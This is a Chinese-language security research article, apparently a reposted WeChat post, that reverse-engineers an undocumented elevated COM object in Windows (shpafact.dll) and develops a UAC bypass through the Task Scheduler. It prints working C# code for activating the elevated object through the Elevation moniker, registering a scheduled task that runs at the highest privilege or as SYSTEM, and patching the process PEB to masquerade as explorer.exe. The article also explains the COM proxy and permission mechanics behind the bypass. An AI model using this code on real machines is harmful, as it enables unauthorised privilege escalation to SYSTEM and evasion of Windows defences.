Advanced Windows Task Scheduler Playbook - Part.2 (下) | 高级攻防09
2022-7-6 18:0:58 Author: mp.weixin.qq.com(查看原文) 阅读量:12 收藏

本文约8000字,阅读约需14分钟。

在上半部分文章中,我们发现了未文档化COM组件。接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。

1
分析
接下来,我们开始分析COM所实现功能,以及是否可以利用。
%SystemRoot%\System32\shpafact.dll
代码量极少,让我们用五分钟时间进行快速分析。首先根据:
"https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject"
COM通过固定导出函数DllGetClassObject创建实例,shpafact.dll创建了CClassFactory作为工厂类:
CClassFactory作为工厂支持创建多个对象,我们的目标组件:
"A6BFEA43-501F-456F-A845-983D3AD7B8F0"
并非已知的两个CLSID之一,将进入最下方分支:
"CElevatedFactoryServer::CreateInstance"
这个方法最终将直接返回CElevatedFactoryServer对象实例:
CElevatedFactoryServer对象继承自IUnknown,且仅有一个对象方法ServerCreateInstance:
ServerCreateInstance方法签名为:
HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)
当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下,将直接创建指定CLSID的对象:
根据QueryInterface方法可得到IID_ElevatedFactoryServer为:
"804bd226-af47-4d71-b492-443a57610b08"
此时我们拿到了COM调用必需的CLSID、IID、虚函数表、方法签名,稍作整理即可得到以下IDL:
[uuid(804bd226-af47-4d71-b492-443a57610b08)]interface IElevatedFactoryServer : IUnknown {   HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);};
[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]coclass ElevatedFactoryServer { interface IElevatedFactoryServer;
};
2
调用
获取到IDL之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop代码:
[Guid("804bd226-af47-4d71-b492-443a57610b08")][InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]interface IElevatedFactoryServer{ [return: MarshalAs(UnmanagedType.Interface)] object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}
我们需要创建提升后的(Elevated)COM对象,所以必须使用CoGetObject结合Elevation Moniker进行激活:
BIND_OPTS3 opt = new BIND_OPTS3();opt.cbStruct = (uint)Marshal.SizeOf(opt);opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;
随后调用ServerCreateElevatedObject方法获取ITaskService实例:
var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;
这个ITaskService实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel的值指定为HighestAvailable:
<Principals>   <Principal id="Author">     <RunLevel>HighestAvailable</RunLevel>
</Principal></Principals>
使用此xml进行注册:
svc.Connect();var folder = svc.GetFolder("\\");var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);
以及不要忘记对当前进程PEB进行Patch:
var fake = "explorer.exe";var fake2 = @"c:\windows\explorer.exe";var PPEB = RtlGetCurrentPeb();PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));RtlInitUnicodeString(pImagePathName, fake2);RtlInitUnicodeString(pCommandLine, fake2);
PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());var first = pFlink;do{ LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY)); if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0) { pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink; continue; } try { if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe")) { RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2); RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake); LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY)); break; } } catch { } pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);
编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):
至此,我们成功的发现了一个未公开的UAC Bypass。
但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于:
"MS-TSCH 2.5.6 Principal Schema Part"
"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b"
根据文档所述,Principal节点可包含子节点UserId,用于提供计划任务执行时的用户身份信息,其格式可以为用户名、SID、UPN、FQDN。
所以我们可以在XML中指定UserId为SYSTEM:
<Principals>   <Principal id="Author">     <UserId>SYSTEM</UserId>     <RunLevel>HighestAvailable</RunLevel>
</Principal></Principals>
随后,我们指定的命令将直接以SYSTEM身份运行:
即:我们通过一次无文件的UACBypass,直接获取到SYSTEM权限。
3
原理
至此,单纯的“安全研究”至武器化落地已经结束了。
但从纯粹知识的领域,这还不够。
请把思维暂时回溯至0x01基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。
我们知道经过UAC提升的COM对象需要使用CoGetObject函数,结合Elevation Moniker进行激活,这个行为记录在:
"https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker"
参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServer32,这将导致代理激活(Surrogate Activation)
"https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation"
关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID的代理激活往往存在自定义权限检查。
参考文档:
"https://docs.microsoft.com/en-us/windows/win32/com/launchpermission"
"https://docs.microsoft.com/en-us/windows/win32/com/accesspermission"
默认隐式权限检查由注册表项:
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermission、HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission
共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form。
所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:
$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl
将得到类似下面的结果:
BinaryLength       : 20AceQualifier       : AccessAllowedIsCallback         : FalseOpaqueLength       : 0AccessMask         : 3SecurityIdentifier : S-1-5-4AceType            : AccessAllowedAceFlags           : NoneIsInherited        : FalseInheritanceFlags   : NonePropagationFlags   : NoneAuditFlags         : None
参考:
"https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids"
S-1-5-4对应NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups也能够确认这一点:
whoami /groups
组信息-----------------
组名 类型 SID 属性====================================== ====== ============ ==============================Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户和管理员组成员 已知组 S-1-5-114 只用于拒绝的组BUILTIN\Administrators 别名 S-1-5-32-544 只用于拒绝的组BUILTIN\Performance Log Users 别名 S-1-5-32-559 必需的组, 启用于默认, 启用的组BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
所以,作为交互式登录的我们才有权限激活以及调用提升后的COM组件。
其次,从程序设计角度,我们查看关于COM Proxy的定义。按照:
"https://docs.microsoft.com/en-us/windows/win32/com/proxy"
所述,代理对象驻留在调用方进程,充当远程对象的代理,在调用方看来,对代理对象的调用和直接调用真实对象并无区别。
这是一个完整的对象代理,应用且遵循代理模式,即代理对象的表现形式、暴露方法、调用方式与真实对象完全相同。
从Web安全的角度,可以理解为ysoserial里面到处都在用的InvocationHandler或Util返回的那个泛型对象,或是你用RetransformAgent劫持Tomcat Filter、Spring Controller之后,为了不影响业务而做的那个Wrapper;从开发的角度,等同于你用过的任何AOP。
所以我们在调用中所进行的操作可以翻译为:
1.我们要求COM激活器绑定至Moniker为Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}的对象,由于激活上下文标记为CLSCTX_LOCAL_SERVER,本地COM客户端(combase.dll)将请求DCOM服务,发送一个进程外(Out-Of-Process)、提升的(Elevated)激活请求。

2.DCOM根据组件注册信息(registration info)与激活上下文(Activation Context),确保A6BFEA43-501F-456F-A845-983D3AD7B8F0对象可以提升(实际上这里将调用AppInfo服务),且当前用户具备激活权限(存在包含已启用组S-1-5-4的显式DACL)。

3.DCOM服务在新的(new)、其他的(others)、提升后的(elevated) 进程中进行激活(activation)操作,创建真实对象(Real Object)。

4.DCOM通知本地COM客户端激活成功(HRESULT=S_OK),本地客户端在当前进程创建真实对象的代理(Proxy)作为实际通信目标。

5.当前进程在代理对象上调用实例方法,该方法实际上由远程对象进行处理。

6.根据方法签名,调用将返回新的ITaskService对象引用。由于ITaskService对象未实现额外的编组(Marshalling)接口,COM进行默认封装,返回远程对象引用(Remote Object Reference,ObjRef)。

7.本地客户端在当前进程以代理对象(Proxy Object)形式创建ITaskService对象的代理(Proxy)。

8.根据MSDN所述,对象远程引用在调用方(caller)等于真实对象;根据CLSID,真实对象是一个ITaskService。

9.我们在未提升进程(unelevated process)中,获取到了在提升后进程(elevated process)的ITaskService对象代理,任何对代理对象的操作都将无条件转发至真实对象。

10.创建带有TASK_RUNLEVEL_HIGHEST标记或其它任意用户(例如SYSTEM)运行的计划任务。完成UAC绕过。
如果你有耐心看到这里,请务必牢牢记住代理模式这个名词与其含义。我们在本文中见证了一个实际环境中的代理模式套娃,要理解这种模式背后的设计理念和思想,这个思想以后会用在你开发的每行代码、审计的每个功能以及测试的每个业务上。
到这里,我们可以回答文章最开始提出的问题了:
1.确实存在一个未文档化的COM,能够根据我们可控制的方式调用计划任务组件。

2.这个组件配置了UAC提升,其通过默认COM代理,在提升后的代理进程内,根据已知的白名单CLSID,创建进程内COM对象;随后通过COM代理直接返回至调用方,供未提升的进程进行调用。

3.由于白名单中有且只有0f87369f-a4e5-4cfc-bd3e-73e6154572dd即计划任务(TaskService),导致未提升的进程可获取一个提升后的TaskService对象

4.通过调用此对象即可创建以完整权限运行的计划任务,实现UAC ByPass。
4
总结
这篇文章可以认为是从理论基础发散并落地到实战应用的开端。以前一篇微软文档化的MS-TSCH协议与XML作为基础,结合COM基础知识作为补全。
随后发掘出有价值的研究目标,作为具有实战价值的工具与代码实现落地;最终我们重新梳理总结相关知识点,借本次这个实例重温关于COM诸多知识细节,并在实践中一一验证,实现“知识闭环”。
文章涉及的相关代码可以在:
"https://github.com/zcgonvh/TaskSchedulerMisc/"
找到。虽然能够直接编译执行,但我依然不建议直接拿来使用,这对于能力提升并没有任何好处。

注意:请遵守刑法、网络安全法等相关规定,我只是单纯分享知识,任何使用不当造成的后果请自行承担。另外,
请尊重开源协议 ,抄代码做“武器化”挺无聊的不是么?
当然,这篇文章并不全面,我们只是单纯的根据注册表,然后根据其功能找到了一个UAC Bypass。
而其他的多个角度,无论是继续进行对计划任务的跟踪,或是重新对UAC乃至COM进行挖掘,从研究的角度看都有很多细节值得发散开来。
限于篇幅,一些拓展性质的思考将在后续某些系列中进行讲解。
最后,还是那句话,文章的目的是传递知识,论文形式的总结除了“让文章看起来丰满”之外毫无意义。安全研究这种强知识导向的领域没有取巧,只有知识积累才是串联一切的根本,最终厚积薄发乃至蜕变。
希望这篇文章能在技术点之外为各位带来启发。
- END -
往期推荐

Fake dnSpy - 这鸡汤里下了毒!

ADCS攻击面挖掘与利用

安全认证相关漏洞挖掘

长按下方图片即可关注
点击下方阅读原文,加入社群,读者作者无障碍交流
读完有话想说?点击留言按钮,让上万读者听到你的声音!

文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247500450&idx=1&sn=d47076b64857d620f62ba66fb7a98475&chksm=9b3ae413ac4d6d05fa62ff64dbb5994a0026b933c0329f5db9dec2e30c25827238cae2c6e1df#rd
如有侵权请联系:admin#unsafe.sh